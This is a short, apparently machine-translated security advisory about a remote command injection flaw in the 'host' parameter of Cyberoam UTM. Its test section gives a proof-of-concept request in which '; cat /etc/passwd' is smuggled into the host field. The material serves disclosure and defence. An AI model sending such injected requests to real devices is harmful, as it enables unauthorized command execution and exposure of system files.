Cyberoam UTM 'host' Parameter Remote Command Execution Vulnerability

Release date: 2012-03-21
Updated on: 2012-03-22

Affected Systems:
Cyberoam Cyberoam UTM
Description:
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Bugtraq id: 52664

Cyberoam Unified Threat Management can be used to diagnose network security in the Home Office and remote branch office.

Cyberoam Unified Threat Management verifies the validity of the IP address format provided by the host parameter only on the client, not on the server, malicious users can use online proxy tools and inject OS commands to exploit this vulnerability to execute arbitrary commands and completely control devices.

<* Source: Saurabh Harit

Link: http://permalink.gmane.org/gmane.comp.security.bugtraq/49276

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Test method:
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Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

_ RequestType = ajax & amp; mode = 758 & amp; tool = 1 & amp; interface = & amp; host = 127.0.0.1-c 1; cat/etc/passwd & amp; pingipfqdn = 127.0.0.1 & amp; size = & amp; tracerouteipfqdn = & amp; namelookupipfqdn = & amp; dns = & amp; routelookupipfqdn = & amp; pinginterface = & amp; tracerouteinterface = & amp; selectdns = 10.0.0.5 & amp;

Suggestion:
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Vendor patch:

Cyberoam
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Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.cyberoam.com/